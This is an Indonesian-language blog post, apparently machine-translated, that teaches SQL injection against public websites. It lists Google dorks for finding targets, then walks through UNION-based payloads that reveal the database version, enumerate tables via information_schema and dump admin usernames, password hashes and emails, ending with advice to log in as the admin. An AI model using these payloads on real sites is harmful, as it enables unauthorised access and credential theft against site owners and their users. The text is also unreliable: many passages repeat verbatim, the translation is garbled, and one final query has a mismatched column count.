Pertama kita harus menemukan website target kami untuk melakukan itu Anda dapat menggunakan ini "dorks". Saya akan memberikan beberapa Dorks sini menyalin siapa pun itu dan paste di google dan pencarian.
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
2). Periksa kerentanan
Mari kita mengatakan bahwa kita memiliki beberapa situs seperti ini
http://www.site.com/news.php?id=4
Sekarang untuk menguji apakah adalah vulrnable kita menambahkan ke akhir url '
begini
begini
http://www.site.com/news.php?id=4'
adi jika kita mendapatkan beberapa error seperti
"Anda memiliki kesalahan dalam sintaks SQL Anda, periksa manual yang sesuai dengan Anda MySQL Server versi untuk dll benar .."
atau sesuatu yang serupa
yang berarti rentan terhadap sql injection
"Anda memiliki kesalahan dalam sintaks SQL Anda, periksa manual yang sesuai dengan Anda MySQL Server versi untuk dll benar .."
atau sesuatu yang serupa
yang berarti rentan terhadap sql injection
3). Tentukan jumlah kolom
Untuk menemukan jumlah kolom kita menggunakan pernyataan ORDER BY (menceritakan database yang cara memesan hasilnya)
jadi bagaimana menggunakannya? Yah hanya incrementing nomor sampai kita mendapatkan error.
Untuk menemukan jumlah kolom kita menggunakan pernyataan ORDER BY (menceritakan database yang cara memesan hasilnya)
jadi bagaimana menggunakannya? Yah hanya incrementing nomor sampai kita mendapatkan error.
http://www.site.com/news.php?id=4 order by 1/* <-- no error
http://www.site.com/news.php?id=4 order by 2/* <-- no error
http://www.site.com/news.php?id=4 order by 3/* <-- no error
http://www.site.com/news.php?id=4 order by 4/*
kesalahan pada order by 4 (kita mendapatkan pesan seperti ini tidak diketahui kolom '4 'in' agar klausul 'atau sesuatu seperti itu)
itu berarti bahwa ia memiliki 3 kolom, karena kita punya kesalahan pada 4.
itu berarti bahwa ia memiliki 3 kolom, karena kita punya kesalahan pada 4.
4). Periksa fungsi UNION
Dengan persatuan kita dapat memilih lebih banyak data dalam satu pernyataan sql.
jadi kita harus
Dengan persatuan kita dapat memilih lebih banyak data dalam satu pernyataan sql.
jadi kita harus
http://www.site.com/news.php?id=4 union all select 1,2,3/*
(kita sudah menemukan bahwa jumlah kolom adalah 3 di bagian 2). )
jika kita melihat beberapa nomor di layar, yaitu 1 atau 2 atau 3 maka UNION bekerja
jika kita melihat beberapa nomor di layar, yaitu 1 atau 2 atau 3 maka UNION bekerja
5). Periksa versi MySQL
http://www.site.com/news.php?id=4 serikat semua pilih 1,2,3 / *
CATATAN: jika / * tidak bekerja atau Anda mendapatkan beberapa error, kemudian coba - itu komentar dan sangat penting bagi query kita untuk bekerja dengan baik.
Katakanlah bahwa kita memiliki nomor 2 di layar, sekarang untuk memeriksa versi
kita ganti nomor 2 dengan @ @ version atau version () dan mendapatkan someting seperti 4.1.33-log atau 5.0.45 atau mirip.
seharusnya terlihat seperti ini
http://www.site.com/news.php?id=4 union all select 1,@@version,3/*
saya tidak melihat kertas yang mencakup masalah ini, jadi saya harus menulis itu
apa yang kita butuhkan adalah mengkonversi () fungsi
i.e.
http://www.site.com/news.php?id=4 union all select 1,convert(@@version using latin1),3/*
atau dengan hex () dan unhex ()
yaitu
http://www.site.com/news.php?id=4 union all select 1,unhex(hex(@@version)),3/*
dan Anda akan mendapatkan versi MySQL
baik jika versi MySQL adalah <5 (yaitu 4.1.33, 4.1.12 ...) <--- nanti saya akan menjelaskan untuk MySQL> 5 versi.
kita harus menebak table dan nama kolom dalam banyak kasus.
nama tabel umum adalah: user / s, admin / s, member / s ...
nama kolom umum adalah: username, user, usr, user_name, password, lulus, passwd, pwd dll ..
i.e akan
http://www.site.com/news.php?id=4 union all select 1,2,3 from admin/*
(kita lihat nomor 2 pada layar seperti sebelumnya, dan itu bagus)
kita tahu bahwa meja admin ada ...
sekarang untuk memeriksa nama kolom.
kita tahu bahwa meja admin ada ...
sekarang untuk memeriksa nama kolom.
http://www.site.com/news.php?id=4 union all select 1,username,3 from admin/*
(jika anda mendapatkan error, kemudian coba nama kolom lainnya)
kita mendapatkan username ditampilkan di layar, misalnya akan admin, atau superadmin dll ..
sekarang untuk memeriksa apakah ada kolom password
kita mendapatkan username ditampilkan di layar, misalnya akan admin, atau superadmin dll ..
sekarang untuk memeriksa apakah ada kolom password
http://www.site.com/news.php?id=4 union all select 1,password,3 from admin/*
(jika anda mendapatkan error, kemudian coba nama kolom lainnya)
kita lihat password pada layar di hash atau plain-text, itu tergantung dari bagaimana database diatur
i.e md5 hash, mysql hash, sha1 ...
sekarang kita harus menyelesaikan query untuk terlihat bagus
untuk itu kita dapat menggunakan concat () fungsi (itu bergabung string)
kita lihat password pada layar di hash atau plain-text, itu tergantung dari bagaimana database diatur
i.e md5 hash, mysql hash, sha1 ...
sekarang kita harus menyelesaikan query untuk terlihat bagus
untuk itu kita dapat menggunakan concat () fungsi (itu bergabung string)
i.e
http://www.site.com/news.php?id=4 union all select 1,concat(username,0x3a,password),3 from admin/*
Perhatikan bahwa saya menempatkan 0x3a, nilai hex untuk: (jadi 0x3a adalah nilai hex usus)
(ada cara lain untuk itu, char (58), nilai ascii untuk:)
http://site.com/news.php?id=4 union all select 1,concat(username,char(58),password),3 from admin/*
sekarang kita akan mendapatkan hasil nama pengguna: sandi pada layar, yaitu admin: admin atau admin: somehash
ketika Anda memiliki ini, Anda bisa login seperti admin atau superuser
jika tidak dapat menebak nama tabel yang tepat, Anda selalu dapat mencoba mysql.user (default)
memiliki pengguna i kolom password, jadi contoh akan
ketika Anda memiliki ini, Anda bisa login seperti admin atau superuser
jika tidak dapat menebak nama tabel yang tepat, Anda selalu dapat mencoba mysql.user (default)
memiliki pengguna i kolom password, jadi contoh akan
http://www.site.com/news.php?id=4 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
7). MySQL 5
Seperti saya katakan sebelumnya aku akan menjelaskan bagaimana untuk mendapatkan tabel dan nama kolom
di MySQL> 5.
Untuk ini kita perlu information_schema. Ini memegang semua tabel dan kolom dalam database.
untuk mendapatkan tabel kita menggunakan table_name dan information_schema.tables.
i.e
Seperti saya katakan sebelumnya aku akan menjelaskan bagaimana untuk mendapatkan tabel dan nama kolom
di MySQL> 5.
Untuk ini kita perlu information_schema. Ini memegang semua tabel dan kolom dalam database.
untuk mendapatkan tabel kita menggunakan table_name dan information_schema.tables.
i.e
http://www.site.com/news.php?id=4 union all select 1,table_name,3 from information_schema.tables/*
di sini kita mengganti nomor 2 kita dengan table_name untuk mendapatkan tabel pertama dari
information_schema.tables ditampilkan pada layar. Sekarang kita harus menambahkan LIMIT di akhir query
untuk daftar semua tabel.
i.e
http://www.site.com/news.php?id=4 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
perhatikan bahwa saya menempatkan 0,1 (dapatkan 1 hasil mulai dari 0?)
sekarang untuk melihat tabel kedua, kita mengubah batas 0,1 untuk membatasi 1,1
sekarang untuk melihat tabel kedua, kita mengubah batas 0,1 untuk membatasi 1,1
i.e
http://www.site.com/news.php?id=4 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
tabel kedua ditampilkan.
untuk tabel ketiga kami menempatkan batas 2,1
untuk tabel ketiga kami menempatkan batas 2,1
i.e
http://www.site.com/news.php?id=4 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
terus incrementing sampai Anda mendapatkan beberapa yang berguna seperti db_admin, poll_user, auth, auth_user dll ..
Untuk mendapatkan nama kolom metode adalah sama.
di sini kita menggunakan nama_kolom dan information_schema.columns
metode yang sama seperti di atas sehingga contoh akan
Untuk mendapatkan nama kolom metode adalah sama.
di sini kita menggunakan nama_kolom dan information_schema.columns
metode yang sama seperti di atas sehingga contoh akan
http://www.site.com/news.php?id=4 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
kolom pertama diplayed.
yang kedua (kita mengubah batas 0,1 untuk membatasi 1,1)
yaitu.
yang kedua (kita mengubah batas 0,1 untuk membatasi 1,1)
yaitu.
http://www.site.com/news.php?id=4 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
kolom kedua ditampilkan, jadi tetap incrementing sampai Anda mendapatkan sesuatu seperti
nama pengguna, pengguna, login, password, lulus, passwd dll ..
jika Anda ingin nama kolom tampilan untuk tabel tertentu menggunakan query ini. (mana klausa)
mari kita mengatakan bahwa kita menemukan pengguna meja.
nama pengguna, pengguna, login, password, lulus, passwd dll ..
jika Anda ingin nama kolom tampilan untuk tabel tertentu menggunakan query ini. (mana klausa)
mari kita mengatakan bahwa kita menemukan pengguna meja.
http://www.site.com/news.php?id=4 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
sekarang kita bisa ditampilkan nama kolom dalam tabel pengguna. Hanya menggunakan LIMIT kita bisa daftar semua kolom dalam tabel pengguna.
Catatan bahwa ini tidak akan bekerja jika tanda kutip ajaib ON.
mari kita mengatakan bahwa kita menemukan colums user, pass, dan email.
sekarang untuk menyelesaikan query untuk menempatkan mereka semua bersama-sama
untuk itu kita menggunakan concat (), i decribe itu sebelumnya.
Catatan bahwa ini tidak akan bekerja jika tanda kutip ajaib ON.
mari kita mengatakan bahwa kita menemukan colums user, pass, dan email.
sekarang untuk menyelesaikan query untuk menempatkan mereka semua bersama-sama
untuk itu kita menggunakan concat (), i decribe itu sebelumnya.
http://www.site.com/news.php?id=4 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
apa yang kita dapatkan di sini adalah pengguna: pass: email dari pengguna meja.
contoh: admin: hash: whatever@blabla.com
Sumber: Wikipedia, Google, forum hack dan lain-lain
Kredit untuk semua orang yang berhak menerimanya
contoh: admin: hash: whatever@blabla.com
Sumber: Wikipedia, Google, forum hack dan lain-lain
Kredit untuk semua orang yang berhak menerimanya
0 komentar:
Posting Komentar